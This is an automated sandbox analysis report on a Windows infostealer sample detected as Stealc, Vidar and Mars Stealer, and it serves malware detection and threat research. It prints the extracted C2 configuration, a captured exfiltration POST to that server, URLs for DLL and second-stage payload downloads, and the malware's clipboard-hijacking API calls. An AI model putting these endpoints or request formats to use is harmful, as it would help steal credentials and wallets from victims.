Edit tour

Windows Analysis Report
YEnIrzZUUw.exe

Overview

General Information

Sample name:	YEnIrzZUUw.exe renamed because original name is a hash value
Original sample name:	814d30fd5617213cc9765f05bf823181.exe
Analysis ID:	1432015
MD5:	814d30fd5617213cc9765f05bf823181
SHA1:	7556260b8e59cea8f9048cf793f7c52ce75fff85
SHA256:	6b260c2a031fee21a1796091021415225b006baa888bfa2a37c3f79ca86ca9c8
Tags:	32exeStealc
Infos:

Detection

Mars Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected Stealc

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found evasive API chain (may stop execution after checking mutex)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

YEnIrzZUUw.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\YEnIrzZUUw.exe" MD5: 814D30FD5617213CC9765F05BF823181)

cmd.exe (PID: 7924 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IDBAKKECAE.exe (PID: 8004 cmdline: "C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe" MD5: 6C93FC68E2F01C20FB81AF24470B790C)

WerFault.exe (PID: 8044 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7428 -s 2204 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.111/f993692117a3fda2.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.111/f993692117a3fda2.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2245990015.00000000041E5000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xba8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2245886678.0000000004190000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.1690988607.0000000005B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: YEnIrzZUUw.exe PID: 7428	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: YEnIrzZUUw.exe PID: 7428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: YEnIrzZUUw.exe PID: 7428	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.YEnIrzZUUw.exe.4190e67.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.YEnIrzZUUw.exe.4190e67.1.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.YEnIrzZUUw.exe.5b70000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.YEnIrzZUUw.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.YEnIrzZUUw.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.YEnIrzZUUw.exe.5b70000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.3.YEnIrzZUUw.exe.5b70000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.YEnIrzZUUw.exe.400000.0.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.YEnIrzZUUw.exe.400000.0.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0.2.YEnIrzZUUw.exe.4190e67.1.raw.unpack	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
Click to see the 7 entries

Snort Signatures

ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 - Source IP: 185.172.128.111 - Destination IP: 192.168.2.4

Timestamp:	04/26/24-09:41:01.245297
SID:	2051828
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.172.128.111

Timestamp:	04/26/24-09:40:59.974509
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.111

Timestamp:	04/26/24-09:41:01.247124
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.172.128.111

Timestamp:	04/26/24-09:41:00.889984
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 185.172.128.111 - Destination IP: 192.168.2.4

Timestamp:	04/26/24-09:41:01.603989
SID:	2051831
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /f993692117a3fda2.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.172.128.111Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 41 35 34 35 39 44 37 46 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="hwid"D5A5459D7F6E2371543510------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="build"default10------BFHJECAAAFHIJKFIJEGC--

Source: YEnIrzZUUw.exe, 00000000.00000002.2245920010.00000000041DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/freebl3.dllT_
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/freebl3.dllX
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/mozglue.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/mozglue.dllb
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/msvcp140.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/nss3.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/softokn3.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/sqlite3.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/sqlite3.dlll_
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/8e6d9db21fb63946/vcruntime140.dll$X
Source: YEnIrzZUUw.exe, 00000000.00000002.2262439764.000000002A6B1000.00000004.00000020.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.php
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.php5
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.phpDC
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.00000000041FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.phpL
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.phpd01eb5849095e97b89aab94ffc51release
Source: YEnIrzZUUw.exe, 00000000.00000002.2246016069.0000000004255000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111/f993692117a3fda2.phprofiles
Source: YEnIrzZUUw.exe, 00000000.00000002.2245920010.00000000041DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.172.128.111D
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exe00
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.172.128.203/tiktok.exet-Disposition:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.9.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: YEnIrzZUUw.exe, YEnIrzZUUw.exe, 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: YEnIrzZUUw.exe, 00000000.00000002.2266044353.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, YEnIrzZUUw.exe, 00000000.00000002.2257348978.000000001E639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, YEnIrzZUUw.exe, 00000000.00000003.1760827412.00000000245BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp, YEnIrzZUUw.exe, 00000000.00000003.1760827412.00000000245BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: YEnIrzZUUw.exe, 00000000.00000003.1766250297.00000000042AB000.00000004.00000020.00020000.00000000.sdmp, FIDHCFBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: YEnIrzZUUw.exe, 00000000.00000003.1857943748.000000002A7D3000.00000004.00000020.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: YEnIrzZUUw.exe, 00000000.00000003.1857943748.000000002A7D3000.00000004.00000020.00020000.00000000.sdmp, HIEBAKEHDHCAKEBFBKEGCGIEBF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

Code function: 7_2_00532590 CreateMutexA,GetLastError,ExitProcess,OpenClipboard,GetClipboardData,GlobalFix,EmptyClipboard,GlobalAlloc,GlobalFix,memcpy,GlobalUnWire,SetClipboardData,GlobalFree,CloseClipboard,Sleep,

7_2_00532590

Source: C:\Users\user\AppData\Local\Temp\IDBAKKECAE.exe

7_2_00532590

